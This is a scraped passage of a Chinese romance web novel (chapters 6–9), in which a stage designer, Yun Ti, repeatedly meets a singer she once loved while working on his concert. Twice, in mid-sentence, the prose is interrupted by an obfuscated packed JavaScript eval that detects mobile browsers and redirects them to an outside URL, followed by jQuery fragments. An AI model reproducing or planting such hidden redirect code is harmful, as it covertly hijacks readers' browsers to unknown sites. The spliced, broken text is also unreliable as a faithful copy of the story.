“卓总说先来莼鲈鱼府吃饭,之后再回家。”孙叔正在看手机信息,头埋得很低,小声道,“小云,你去吧,在寻鳞包厢。”
云缇也不废话,径直下车,对迎上来的服务员说了包厢名,跟着他往里走。
走廊很窄,一面是包厢,一面是用竹篱笆隔断人工营造的枯山水,脚下青砖带着细微的凹凸。
一路走过来,只见平行排列的包厢,不见大堂座位,这家餐厅想必专为高端客户的私密饭局服务。
“云小姐,就是这间。”
服务员为她推开门,做了个请的手势。
云缇抬眼一扫,眉头皱得更紧——包厢内只孤伶伶坐了个陌生男人。
他西装革履,正低头用筷子拨弄那盘凉菜里的黄瓜,听到开门的动静,他抬头看了她一眼,然后继续拨弄黄瓜。
“卓家没有守时的美德吗?”他相当不悦,“居然迟到了快三个小时。”
“……”
云缇没动,站在包厢门口,面无表情地低头看手机。
“卓小姐,你还不进来吗?”男人被她无视,当即挂了脸,“亏我还对你抱有期待,看来也不过如此,和这道刀工不佳的蓑衣黄瓜一样,离我的预期还差得远。”
手机屏幕弹出新的消息。
【云云,听孙叔说你已经到了。这位小金是我朋友的儿子,在硅谷工作,现在是回来探亲。爸爸想着你们年轻人更有话聊,就让你们单独吃饭吧。】
【有礼貌点儿,人家条件很好的。】
男人还在喋喋不休:“对了,你填一下这个表吧。我想建立一个相亲匹配模型,目前样本量只有37,只差一个对照组就能跑回归分析——你是设计师是吧?那审美维度可以多给自己打几分,我权重设置得很高。”
窗外雨势渐大,打在玻璃上的声音骤急。
喉咙里哽着一口气,上不去也下不来。
云缇实在忍不住发笑。
她上前一步。
男人以为她要填表,体贴地把平板往这边推了推。
但是云缇没有碰平板。
她慢条斯理地抽了张纸,垫在瓷盘边,拿起那盘蓑衣黄瓜,倒扣在平板上。
黄瓜片散落一桌,汤汁顺着屏幕边缘向下淌。
男人维持不住表情,手忙脚乱地跳起来,夺回自己的平板,难以置信地瞪她:“你疯了?”
“你的模型缺个字段。”云缇居高临下看着他,语气很平,陈述事实的态度,“叫自知之明。”
男人气歪了脸,全然不复刚才目中无人的傲慢样,毫无风度地破口大骂:“等着吧,我马上让我爸终止和卓家的一切合作,你们等着破产吧!”
云缇向后退一步,关上包厢门。
把所有辱骂困在包厢内。
走廊重归静谧。
门口的服务员眼观鼻鼻观心,假装摆弄一旁的筷子架。
她也不打算和服务员说话,心如止水地将手机关机,抬脚便往来路走。
刚一转身,鞋尖就踢到了另一人的鞋子。
云缇忙退后一步,道了声“抱歉”。
对方沉默不语。
走廊尽头那盏瘦长的灯笼把光线拉成一道竖线,正好从面前这件黑色大衣侧面切过去,照亮了袖口细密的雨珠。
半开放的走廊不遮雨,但凡停留就会被雨水眷顾。
他大概是站了有一会儿,才能擒获这么多雨气。
若有若无的香根草味慢悠悠地环上来。
昨日刚闻见过。
她迟疑,缓慢抬头。
而他也低下头。
7. 第 7 章
四目相对的瞬间,
云缇睫毛忍不住颤抖。
她的视线不自觉在季煦礼眼下两颗痣停留。
雨声忽然变得很响。
梁上灯笼被风吹得晃了晃,光影在他脸上留恋地盘旋,沿着五官线条向下,衬得他骨相愈发立体。
季煦礼淡漠地垂睫看她。
像看着一个刚好从门外经过,刚好挡住他去路的路人甲。
可在昏暗光线里,他眼下那两颗对齐的小痣却容易错看成垂下的泪。
真奇怪。
昨天才叫出过她的名字,分明没有忘记她是谁,可今日又以这副全然陌生的态度和她对视。
云缇低头,勉强在昏暗的光中辨认他的皮鞋没有蹭上任何痕迹。
她稳了稳气息,侧身想要走。
“云缇。”
年轻男人再次叫出她的名字。
和昨日相似的语气。
那名服务员早已悄无声息地离开,此刻走廊里只有他们二人相对而立。
她被迫停住脚步,在逼仄的走廊里被冷冽的香根草味缠上。
两人保持着擦肩的动作,季煦礼的大衣下摆轻轻蹭过她的手背,她下意识把手缩为衣兜里,避开带着雨水的凉意。
云缇不想再抬头,维持着看向前方的姿势,缓声问:“季先生,你有什么事儿吗?”
她听见季煦礼凉凉地笑了一声。
灯光愈发暗。
视线向前眺,望不见走廊的尽头。蜿蜒曲折的走廊在转角处搁置石上青竹,影子同一旁的竹篱笆纠葛在一起。
云缇不动声色往旁边挪了一小步,却骤然察觉到季煦礼周身气势更冷。
她看不明白现在的季煦礼。
思及自己接下来这份长期工作,她重新面朝季煦礼站定,耐着性子和未来甲方说客套话:“季先生,如果没有别的事儿,我就先走了,刚才很抱歉。”
“……”季煦礼的视线下移,滑向她手中那把长柄雨伞上,侧脸被灯光晕得柔和了些许,“这把伞你用了很久。”
云缇不明所以。
手里这把正是上次在快注时小张借给她的伞,因为这两周她都不需要去快注对接,所以放在家里。
今早出门匆忙,也没注意到拿的是这把伞。
这是在提醒她别忘了还伞吗?
重新对上那双眼睛,她客气地回应:“抱歉,明天我会将伞归还给贵公司。”
季煦礼唇角浅浅的弧度隐没。
他视线定在雨伞伞柄上没有挪开,喉结上下一动。
如何看都像是对这样的回答不满意。
院内,雨压弯竹叶。
“季先生没带伞的话,”云缇踌躇着将伞递出去,试探道,“不如先用这把?”
她思来想去,觉得这是最妥帖的回答。
却只换来一声冷笑。
灯笼闪烁,暖光变得不确定。
“不必了。”
年轻男人寒着脸,“我受不起。”
擦肩而过时,他刻意避开了她递过来的伞。
拐角处有服务员端着菜走来,看见季煦礼,微微倾身鞠躬,尊敬地说“老板慢走”。
脚步声远了。
“……”云缇站在原地,握着伞的手慢慢垂下去。
她从兜里翻出先前关机的手机,将那个拨来数条通话和信息的联络人拉黑,又点开软件叫了一辆网约车。
离开莼鲈鱼府时,服务员笑容满面地欢迎她下次再来。
地面上的水流向低处,汇成小小的溪,卷起落叶,打着旋儿消失在黑暗里。
鱼府门口也挂了好几只灯笼,随着风雨摇晃。
于是只有牌匾下方聚集扑灯的蝇虫。
云缇站在屋檐下躲雨,手指不自觉摩挲伞柄。
忽然意外触摸到一处凹凸不平的痕迹。
她动作一顿,借着灯笼暖光查看。
极简的线条勾勒出定音鼓的轮廓,鼓身四周有类似声波的纹路,中间贯穿一只定音鼓槌。眯眼去看,外轮廓像极了一个“季”字。
今天才赶工做完了季煦礼三年内所有宣传海报的收集报表,所以云缇第一时间反应过来。
将定音鼓的余震可视化——季煦礼的个人logo。
握在手中的伞柄变得烫手。
……是季煦礼的伞。
院里的细竹摇曳,叶片翻出苍白的背面,哗啦啦响成一片。
起风了。
来不及反应,又一波雨泼下来。
整座城都被拢进这场挣扎的雨里。
而寻鳞包厢内,喋喋不休的人声持续。
“疯子,我真是遇到疯子了!她还跟我讲什么模型缺字段——我那是学术建模,她懂个屁。一个画图的也配教我跑回归?”
硅谷男对着手机那头一个劲儿地抱怨,还不忘擦拭自己平板上的汤汁,厌烦不已地叹气。
“女人出趟国就眼高于顶,下次相亲我恐怕需要控制变量,拒绝留学生。”
“叩叩。”
就在这时,有服务员来敲门。
进了包厢,他充满歉意地说:“抱歉,金先生,我们要打烊了,请您先结账。”
“如果我没记错,离打烊时间还早得很吧。”硅谷男只有一秒停顿,迅速理所应当地不屑讥讽,“更何况,我又不会赊账,莼鲈鱼府对客户基本的信任都没有吗?”
服务员保持礼貌的微笑,重复:“抱歉,先生,请您现在结账离开,以后我们也不再欢迎您光临本店。”
场面微妙地安静一秒。
“我很难想象这就是你们的服务态度。”硅谷男从容不迫地支着下巴,意有所指,“我想,你也不希望我把这些事儿告诉你们的老板吧?季总日理万机,恐怕没工夫管自己名下一家微不足道的餐厅。”
服务员完全没有被威胁到,笑得如沐春风:“很遗憾,先生。”
“这就是我们老板的要求。”
///
云缇第二天一早直接去了快注。
昨晚在莼鲈鱼府和硅谷男的对话想必很快就会被那个人知晓,而她又失联了一晚上,说不准他会第二天直接通过FG向她施压。
那她偏不给他这个机会。
她通过总监给的联系方式联系上季煦礼舞台设计团队的组长Jessica,依照对方的意思在快注会客室等待。
耐心等了一小时,对方还是不见人影。
就在前台来询问她和Jessica约定的具体时间时,她收到Jessica的信息,让她去楼下的咖啡厅。
“……”云缇抱歉地扬起手机在前台面前晃了晃,“不好意思,我现在去楼下找她。”
前台露出了理解的表情,显然这种事也不是头一回,压低声音和她说:“你先去买点柠檬,Jessica喜欢吃柠檬。”
云缇迅速反应过来,感激道谢,先去了一趟水果店。
秋季正好是柠檬成熟的季节,她挑了一小袋柠檬,提着前往Jessica指定的咖啡店。
远远的,她就看见一个金发女人坐在户外咖啡厅支着的棚下。明明是阴天,女人却还是戴着一副遮住大半张脸的墨镜,旁若无人地敲击着电脑键盘。
这天气,戴着墨镜还能看见电脑屏幕吗?
云缇把疑惑咽回肚子里,在她对面坐下,礼貌地自我介绍:“Jessica您好,我是FG的云缇。抱歉让你久等了,特地买了些柠檬赔罪,你尝尝看?”
“谁告诉你我喜欢柠檬的,前台小施?”Jessica一眼都没看柠檬,推了下自己的墨镜,“别人说什么你都信?万一我最讨厌柠檬呢。”
“那就是我情报工作没做好。”云缇笑,“既然这样,不知道能不能从您这儿得个准确情报?我保证下次不犯这个错。”
Jessica没接话。
云缇观察她的表情,把准备好的资料分门别类摆在桌上,“这是我针对季煦礼近三年所有演唱会舞台设计作出的总结和思考,而这一份是我入行以来的所有设计图纸。”
资料正好完全被电脑挡在背后。
Jessica继续敲电脑,根本不看资料,面无表情地说:
“我不打算要你。”
云缇面上不见慌乱,保持笑容,不徐不疾地说:“如果真的不想要我,您何必再给我一个面试机会呢?”
“你倒是挺自信的。”Jessica停下敲键盘的手,把墨镜推至头顶,盯着她眯着眼睛笑起来,“一个小小的rejection测试。我看过你先前给韩国男团设计的舞台现场,我喜欢你的风格,什么时候能开始合作?”
“现在。”云缇毫不犹豫地接话。
“OK,那买最快一班去北楦的机票,我们直接去现场,不用去快注报道了,流程之后再补吧。”Jessica迅速收好电脑,方才那股傲慢劲儿消失得无影无踪。
她顺手提起那一小袋柠檬,俏皮地冲云缇眨眨眼睛,“另外——我的确喜欢柠檬。”
云缇直到这一刻才真正放松下来。
买好机票,坐在出租车上,她揉了揉自己有点僵硬的脸,悄悄舒了口气。
刚才她还是有些紧张的。
“今天又没下雨,你带把伞来干嘛?”
Jessica坐在后座另一侧,手指飞快地在屏幕上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489044|202144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翻飞,抽空扫了眼云缇腿边那把长柄伞,随口问。
云缇下意识把伞往自己这边挪了挪,解释道:“在快注借的伞,本来想着今天还回去。”
闻言Jessica便失了兴趣,专注地回信息。
云缇垂首看着长柄内侧那个logo,无声地将其转到座椅这面,将其盖住。
她拿出手机,找到小张的联系方式。
【抱歉小张,一直没来得及还伞,我现在要去北楦出差,短期内回不来。要不你给我个电话,我把伞寄过来。】
手机很快就嗡嗡震动。
小张秒回:【没事儿没事儿,一把伞而已。】
【我马上也要出差去北楦,咱们落地再约?】
“本来这次季煦礼也要去的,他一向喜欢亲自监工。”Jessica回完消息,终于闲下来,侧目和她说,“不过这次搭景和杂志拍摄的时间撞了,估计是来不了了。”
云缇在Jessica开口的瞬间就放下手机,听完后若有所思地说好,冷不丁问:“Jessica,国内艺人的助理也是一直围着艺人转的吗?”
“不然围着你转?想得美。”Jessica表情微妙,“如果说韩国助理是打卡上下班,国内的助理就是24小时贴身服务,说是艺人的袜子也不为过。”
云缇闻言点点头,随后抽空给小张回了个OK的表情。
她最开始以为小张是后勤人员,昨天发现伞主人是季煦礼后,便转念认为小张是助理。但现在……她又有些不确定究竟小张的工作是什么了。
说不准是设计团队里的员工。
印了logo也有可能是联名款周边,这种周边在团队里大概也不算稀奇。
至于季煦礼突如其来的发问……
云缇靠着椅背闭上眼睛。
……把她看作粉丝的误解,也在她没认出伞来由的瞬间不攻自破。
实在不必放在心上。
///
FG总监说得没错,季煦礼设计团队的工作强度比云缇在FG的日常工作要高太多。
再加上有位吹毛求疵的上司Jessica,她这段时间夜里做梦都在赶效果图。
先前舞台的基本构想已经完成,草图和效果图也过了好几版,在预备多部门技术对接时,设计团队的效果设计师却临时因为个人原因退出,即便要付高额违约金也不改主意,这下整个协调工作停摆,快注才逼不得已向FG求助借人。
下个月二十三号就是巡回演唱会首站,整个流程必须加急完成,还必须确保每一环安全稳妥。
不仅是设计团队,灯光、音响等技术部门也忙得团团转。
云缇顶替了效果设计师的位置后,需要经常跑现场,和各技术部门进行沟通,随时修改效果图,确保灯光设备的挂点、音响布局都不会和舞台结构冲突。
实在分不出多余的心思给其他事。
云缇看着再次切换号码拨来的未接来电和短信,面无表情地将其拉黑,心中没掀起一点儿波澜,又迅速投入新一轮工作中。
虽然忙得脚不沾地,她却久违地感到充实。
站在吵闹繁杂的现场实地勘测,让她因为办公室里重复枯燥乏味的工作而沉寂的心重新焕发活力。
嗅着金属铁架和灰尘混杂的复杂气味,云缇的眉眼却格外舒展。她抱着平板,认真对比现场工人装台的框架位置是否正确,时不时推一下架在鼻梁上的眼镜。
她有轻度近视,只偶尔在现场时会戴。
“框架搭完今天就下班,大家辛苦了,晚上休息一下,明天继续。”
Jessica走过来,和工人们吩咐完后,拍了拍她的肩膀,压低声音说:“今晚你没别的安排吧?和我去个地方。”
云缇询问地看她。
“我记得你之前和我说过,你喜欢查语卉对吧?她这两天在北楦有个私人展会,我正好受到邀请,可以带人参加。”Jessica冲她挑眉,“怎么样,想不想去看看真迹?”
云缇忍了忍,还是没忍住,笑意蹦上眉梢眼角,连语调都向上扬:“谢谢Jessica!”
“客气什么,你辛苦了这么久,这也算是酬劳之一。”Jessica表情也轻松,视线看向舞台,“等装台完毕,之后什么设备调试、彩排和咱们关系都不大,也算是成功收工了。你就当提前庆祝一下吧。”
因为记挂着晚上的私人展会,云缇这个月来头一回在工作时有些急躁,频频看向时间。在确定舞台框架搭好后,便迫不及待地宣布下班,脚步飞快地朝出口处走。
她完全没注意到,从入口走进来的那个戴着黑色口罩的年轻男人。
8. 第 8 章
整个场馆正在轰鸣。
他站在入口处,黑色口罩遮脸,鸭舌帽帽檐压得很低,可还是有人停下手里的活,抬头去看他。
无需多余的动作,光是站在那儿,便把混乱的场地压下去,自然而然成为焦点。
一件普通的黑T被他优越的肩宽撑住版型,松垮的牛仔裤也盖不住他优越的比例。
他慢慢朝舞台走,步子不快,绕过堆成山的音响箱,恰好在方才云缇站过的位置停下脚步。
有一瞬间,头顶刚调好的一束面光打下来。
眉骨接住这束光,又在眼窝处留下恰到好处的阴影,因为口罩遮着,看不见五官更多细节,但眉眼的轮廓已经足够优越。
在场的老工头也不自觉在心底“啧”一声,见过那么多明星,却还是会为季煦礼的脸惊艳。
天生的明星。
“煦哥。”小张急匆匆赶上他,气还没喘匀,询问道,“查语卉那边邀请我们去观展,我直接回绝了?”
年轻男人抬了抬眼皮,意味不明地朝云缇离开的那个出口看了眼。
不过瞬息,他便无波无澜地收回视线。
“煦哥?”小张再度询问。
季煦礼没搭腔,懒懒地颔首算作同意。
虽然今日已经收工,但满地电缆仍横七竖八地蔓延,工人正匆忙地收拾东西,三三两两准备去领盒饭。
季煦礼屈起手指在扶手上轻轻敲了两下。
与生俱来的节奏感让简单的响动也像极了歌曲前奏。
他目光直直看向舞台。
天边还剩最后一抹光。
正好照在孤伶伶立在舞台上的那根钢铁骨架上,镀上一层橘粉色。
西边的天空烧成淡紫色,再往上,是淡淡的靛青,斜挂着的太阳摇摇欲坠,但光线还不甘心地抓着云层不肯落。
云缇站在商场的窗边,看着最后一点光沉下去。
“小姐,请问怎么支付?”
云缇把银行卡递出去。
因为时间紧急,她只能在最近的商场买了套裙子换上。
刷卡的间隙,她看了眼手机短信。
又多出几条短信。
又是一个陌生号码。
然而这次的口吻却和先前的指责完全不同。
【云云,爸爸知道你去参加季煦礼的设计团队了。是爸爸不好,不清楚你究竟想要什么,我原本以为让你在韩国体验几年就足够了。】
【等这次工作结束,回家来吃饭好不好?爸爸保证,这次没有其他人,只是我们父女俩一起吃顿饭。】
云缇表情渐渐隐去。
她沉默地看着屏幕上的文字。
“小姐,您换下来的衣服我就叠好放在袋子里了。这是小票,请收好。”
她应了一声,接过礼品袋,顺手删掉了短信,将手机放进手包里。
却忘了拉黑。
Jessica在商场停车库等她,一上车就丢给她一套化妆品,示意她坐车的时候稍微打扮一下自己。
车开得很稳,云缇对着镜子慢慢描眉勾唇,手一点儿也不抖。
到了地方,Jessica一脚刹车踩下去,侧目朝她看来,满意地笑:“我就知道你适合这个色系。待会儿过去,指不定他们以为我带了公司准备捧的新人过去。”
云缇浅笑不语。
把礼品袋搁在车上,她和Jessica一起进了这家私人会所。
有不少人有意无意往这边看。
骤然成为关注中心,云缇不太适应地去捋耳边的鬓发。
Jessica倒是习以为常,无视所有目光,领着她直接去见展会主人查语卉。
一阵寒暄过后,查语卉客气地请她随便看。
“要是有什么喜欢的,请一定要告诉我。”查语卉笑盈盈地用手比划了一下,“既然是Jessica带来的朋友,我可以给你特权,提前去看展——但你要悄悄进去哦。”
云缇受宠若惊地连连道谢。
她心知Jessica和查语卉应该还有私事要聊,便默默地走进布画的展厅,专注地欣赏每一幅画。
在新生代艺术家里,查语卉是唯一一位签约世界级画廊的艺术家,身价也在近几年水涨船高。尽管有人诟病她之所以能签约世界级画廊,是因为这位画廊主是她继母,但是就云缇看来,查语卉的确有与之相匹配的实力。
绝对是值这个市价的。
她缓慢地向前挪步,高跟鞋和瓷砖碰撞的清脆响声在安静的展厅内回旋。
年轻女人身着一条香槟色缎面长裙,裙摆在脚踝处微微荡开,像是盛住了一小片流动的月光。
挂在墙壁上的聚光灯在她脸上投下淡淡的阴影,那层柔光让她的五官笼上几分温意,像刚剥壳的荔枝肉。
错落的画作和款步而行的美人,在硕大的展厅内构成了有一幅艺术作品。
直到走到站厅尽头,云缇仍意犹未尽。
她注意到墙边有扇虚掩的门,上面挂着“装置作品”的牌子,秉着绝不错过的心态,推门走了进去。
是又一个全新的展厅。
厅内很黑,投影仪投在正前方的白墙上,播放一段重复机械的动作。地面上散落着一些木制半成品。
她想要凑近去看作品介绍,却意外发现前面隔了层玻璃,没法进去。
正兴致勃勃准备解开机关,却忽然听见有软着嗓音撒娇的声音从玻璃那段传来:
“亲爱的,这都几点了,你今天要是不来,晚上就别想进门了……”
女声有些熟悉,前不久才听见过。
云缇反应过来——是查语卉。
她有些耳热,不愿偷听人家私密谈话,想赶紧避开。
展厅里太黑,她没摸到方才那扇门,在墙上胡乱摸索好一会儿,终于抓住了一个门把手,忙不迭推开走出去。
视线却没有亮起来。
倒是一股风扑上面颊。
视线适应了会儿光线,眼前的一切才逐渐清晰。
是会所内单独辟出的室外花园。
云缇犹豫地回头看身后已经合上的门。
方才的展厅肯定不能回。
她只得硬着头皮往前走。
花园中央是一座树丛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489045|202144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
修剪出的迷宫。
云缇无意走进迷宫里给自己找麻烦,索性就站在迷宫入口处,打算过一会儿就原路返回。
她打开手机,顺便看了看未读消息。
差不多快半个月没联系的小张又给她发来消息:【姐,不好意思不好意思,前段时间太忙了了,现在才有空和你联系。】
【这两天你还在北楦吗?咱们约个合适的时间一起喝个咖啡吧。】
【地址】
【这个位置怎么样?】
因为这段时间太忙,云缇早把这事儿抛到了九霄云外去,如今不免有些心虚,赶紧回复:【好,我明天下午就可以。】
小张:【那咱们下午两点见?】
云缇:【好。】
身侧树丛被风吹得沙沙作响。
云缇放下手机,朝树丛瞥了眼。
虫鸣此起彼伏,声声不息。
原先被日光压下去的凉意从四面八方漫上来。
月亮很薄,被薄云一罩,像一块逐渐融化的碎冰。
礼裙挡不住寒凉,云缇抱住手臂,小范围地来回踱步,企图让自己暖和些。
她耐不住,又看了眼时间,决定再过十分钟就回去。
就在这时,远处有交谈声隔着夜色飘过来。
隐隐约约有“卓总”两个字。
云缇呼吸一滞,倏地站住了。
抱着手臂的手指不自觉用力,指甲陷进皮肤里。
声音渐渐近了,好似往这边来。
她四下看了眼,没有其他遮蔽物,只好硬着头皮朝迷宫里走。
步子太急,高跟鞋踩进草地里,冷不防崴了一下。
云缇没有停留,提着裙摆继续匆匆往前走。
呼吸变得又浅又快。
虫鸣在耳边放大。
眼前没了路,是死胡同。
只得倒回去重选一条路。
她换了个方向继续走。
露水被裙摆打落,草叶贴在小腿上,细密的凉攀上来。
树墙有一人高,黑压压地围着,把月光挡在外面。前路拐来拐去,望不到出口,也瞧不见来时路。
万幸她还记得Jessica和她提过一嘴,这儿的迷宫出口是向南的。
云缇捏着手机,调出指南针,不打算再继续当无头苍蝇。
指针向左指。
有了明确的方向,心下安定不少。
她迈出的步伐都比刚才更确定。
屏幕的冷光刺眼,将周遭衬得更加昏暗,云缇不得不眯着眼去辨别红色指针的跳动。
又一个拐角。
云缇加快速度向前走,迫切地想要走离迷宫。
不曾想刚一转过拐角,便猝不及防一头撞上了什么。
手机瞬间从手心滑落,啪嗒一声掉在地上,屏幕朝上,闪烁着光。
照亮了两双对着的鞋。
相撞的瞬间,对方虚虚扶了她一把。
云缇在察觉到对方温热体温的瞬间条件反射地向后退,捂着额头说“对不起”,忐忑地掀起眼皮去瞧。
一双桃花眼正在看她。
9. 第 9 章
呼吸错了一拍。
云缇下意识错开视线,借着捡手机的由头低下头去。
恰好错过季煦礼垂在身侧的手微微蜷了下。
礼裙太紧,束缚着云缇的动作,下蹲成为极为难的动作,她正别扭着身子寻找平衡,对方先一步反应过来,迅速弯腰将手机拾起来递给她。
太久没操作,手机已经自动熄屏。
周遭重新暗下来。
黑暗把迷宫封成一个密不透风的牢笼,四面八方都是枝叶窸窣的响动,分不清是风还是栖息于此的昆虫。
尚未松口气,那只骨节分明的手指却状似无意地擦过屏幕,使屏幕重新亮起冷光。
突兀的光映亮面前的青年。
那团光从掌心漫开,照亮他胸口的位置,又一点一点往上爬,停在了他颤动的睫毛上。
从下方打上来的光令他的轮廓瞧着有些陌生,下颚的线条也比平日更锋利。
他眼神一瞬不错地看她。
冷光正好能看清他瞳孔里的一点亮。
云缇放轻呼吸,抬手握住手机,往自己这边收。
没拽动。
她蹙眉,盯着季煦礼扣住手机的手。
看上去没有丝毫松手的意思。
她又暗暗使劲拽了下,在对方用力的瞬间松开手。
手机顺着惯性朝季煦礼那面弹了下。
冷光也跟着晃。
季煦礼轻哂一声,唇角弧度若隐若现。
他松了力道,再次把手机递出来。
云缇抿着唇接过手机,刚摁灭屏幕,又意识到这样的黑太没安全感,复而打开手电筒对着地面照。
以她为圆心有一圈微弱的光发散开。
青年始终没有开口。
眼神倒也不曾错开。
她有点儿被对方的视线烫到,垂首盯着自己的鞋尖。
这样一直沉默下去太不体面。
几息后,云缇重新抬头,牵起嘴角露出一个礼貌的笑,客气地寒暄:“听说季先生前段时间在拍摄杂志,还以为要再过段时间才能来北楦,没想到今天就碰到您了——您去场馆看过了吗?”
她自认这番话没有差错,非常符合他们此时甲乙方的关系。
可季煦礼却兀自笑起来。
云缇不明所以,嘴角的笑容不自觉向下垮。
“圈里只有你这么叫我。”季煦礼慢条斯理地说,“倒是稀奇。”
季先生。
不像娱乐圈惯用的套近乎,反倒像唯恐避之不及的疏远。
云缇顿了顿,好脾气地问:“那季先生希望我怎么称呼您?”
季煦礼反问:“你不知道吗?”
几乎是话音落下的瞬间,云缇便神经绷紧。
七年的时间好似被骤然压缩成一个奇点。
明明是成熟低沉的嗓音,落在云缇耳里,却幻听成了七年前在走廊喊她名字的清亮少年音。
恍惚间,她甚至产生一种错觉,好似下一秒他就会像从前一样,笑着揉乱她的头发,拖长语调,半戏谑半试探地问她:
“小葡萄,你不知道要怎么叫我吗?”
那时她是怎么回答的?
云缇狠狠闭了下眼。
喉咙仿佛被棉絮堵住,她尝试了好几次,才重新出声,努力保持声线平稳,顺从地接话:
“好的,那我和前辈们一样叫您煦哥。”
煦哥。
这个称呼从她嘴里说出来,丝毫没有任何亲近之意。
反倒有种诡异的僵硬感。
她有些牙酸。
即便是过去最亲密的时候,她也不曾这样唤过他。
“……”
季煦礼倏地没了笑。
像是听到什么不可思议的话,他强按住跳动的眉心,气场不再收敛,冷冽得快要凝为实体刮伤人。
“挺好。”他冷冷道,“就这样。”
还算和谐的氛围瞬间化作乌有。
停留在原地都让人窒息。
云缇率先退一步。
她假装听不懂季煦礼的反话,笑着点头,做了个请的手势:“煦哥也是来看查语卉画展的吧,您先走?”
季煦礼居高临下地看她。
那双桃花眼敛下睫毛,垂眸朝她看过来,浓郁的黑在眸子里化开。
几乎和周遭的黑融为一体。
云缇坦然迎上他的审视。
她的眸子颜色较浅,没有被黑暗吞噬,只突兀存在,偏偏还映不出任何倒影。
只有眼底那两团小小的反光,清透明亮。
明明近在咫尺,却又触不可及。
年轻男人垂眸看着她,睫毛一扇,眼中深潭便泛起涟漪。
他扯了扯嘴角,答非所问:
“你希望我走?”
“……”
云缇一时间失语,不太明白季煦礼为何要这样胡搅蛮缠。
她要怎么回答甲方这样刁难的问题,乙方难道能希望甲方走吗?
逃避地低头看了眼手机,发现Jessica正在问她去了哪。
她顺势侧身让了一步,做了个“您自便”的手势,同时对着手机摁住语音:“我马上回来,刚才看展走到花园迷宫里了。”
发完,她又抬头冲季煦礼点了点头,脸上挂着商务又客气的笑,直接略过那个意味不明的问题,保持礼貌等他先走。
季煦礼站在原地。
他垂在身侧的手指动了动,又停住。
空气像被抽走了一截。
两人在原地僵持。
树丛修建得太整齐,将手机的亮光切断,只能勉强映亮小范围。
季煦礼就站在三步之外的地方。
太微妙的距离。
黑暗把他的轮廓吃掉大半,只剩一半比夜色稍浅的轮廓,手电筒的光挣扎着想要够着他,却只能勉强摸着衣角。
树叶被风吹起,窸窣着,像一声叹息。
他们被圈在这一小块土地之上,那些没说出口的心绪随着呼吸起起落落,始终没有成型。
就在云缇忍不住想要先一步离开时,季煦礼终于迈开腿。
没用指南针,也没有多余的犹豫。
他转身,干脆地选择了其中一条路往前走。
云缇踌躇地看了眼指南针软件,发现红色指针指的正是季煦礼离开的那条路,才慢慢跟上去。
两个人隔着一小段距离向前走。
她停,他也停。
她走,他也走。
明明她才是走在后面那个,却微妙地察觉到前面那个青年动作间的矛盾。
每个拐角处,季煦礼都会停顿片刻,直到听见她的脚步声才会继续抬脚向前走。
就好像是在等她。
云缇不觉抿唇。
这个习惯和七年前太相似,让她下意识排斥。
高中时她很害怕落单。
忍受在成群结队的人群里孤身一人,对青春期的云缇来说太过煎熬。
可是在认识季煦礼之后,她再也没有落单过。
她害怕去食堂吃饭,他就从家里带两份饭,和她一起坐在天台,再把所有牛肉都推进她碗里,又状似随意地推过来一瓶牛奶。
偶尔在走廊擦肩而过,手背接触的瞬间,季煦礼会故意勾住她的小指,往她手心轻轻一挠。
即便是在人潮涌动的升旗仪式,他站在讲台上,视线也能准确无误地落在她身上,冲她比画一个彼此才懂的手势。
每每等她颤着睫毛看过去,少年便痞气挑眉,吊儿郎当一笑。
云缇拿他毫无办法。
那时他们总拿疏离当掩护,把熟稔藏进每一个不为人知的细节里。
而现在。
却是用最客套的演技,努力遮盖旧相识的破绽。
正出神,眼前蓦地亮起。
被高耸的树墙拦住的光线重新出现在眼前,几步外就是大门半敞的宴会厅。
不知不觉间,他们已经走出了迷宫。
Jessica正等在迷宫出口处,本想直接拽走云缇,没想到见到意料之外第二个人。她不由多看了季煦礼几眼:“老板,不是听小张说你拒了今天看展吗?”
季煦礼寒着脸,一副懒得搭腔的态度。
瞧出他兴致不高,Jessica也不再追问,只拉着云缇往场内走,一边走,一边嫌弃地上下打量她:“呆在迷宫里这么久,非得走够本才肯出来?”
云缇在这段时日已经摸清了Jessica的脾气,知道她没恶意,只笑着顺着她的话往下调侃:“是,难得来一次,看什么都新奇。”
Jessica白了她一眼,倒是难得不再继续损她。
迟疑片刻,云缇忽然问:“Jessica,小张是煦哥的助理吗?”
“这个问题问得真有水平。”Jessica语调平平地说,“观察力很敏锐——你问这个干嘛?”
云缇垂眸看向自己的手指,答:“刚突然听见了,随便问问。”
“……”Jessica面无表情地打量她,慢吞吞地说,“云缇,我不支持我的属下搞办公室恋情。”
云缇一怔,赶紧解释:“您误会了,只是他先前借了我一把伞,我还没找到机会还。”
“那就行——言归正传。”Jessica哼一声,正色交代道,“来了不少业界大牛,过了这村可没这店,我给你机会,能不能抓住就是你的事了。”
云缇微怔,立马端正态度:“好,谢谢Jessica提拔。”
“用不着,要是没抓住机会别在背后骂我就成。”
“……”
落在后面的季煦礼却没有回宴会厅的意思。
他单手插兜,耷拉着眼皮看着二人渐行渐远。
女人那身香槟色缎面长裙泛起光泽,脖子上那串珍珠项链与礼裙相得益彰,随着她说话的动作一下一下地闪。
她在笑。
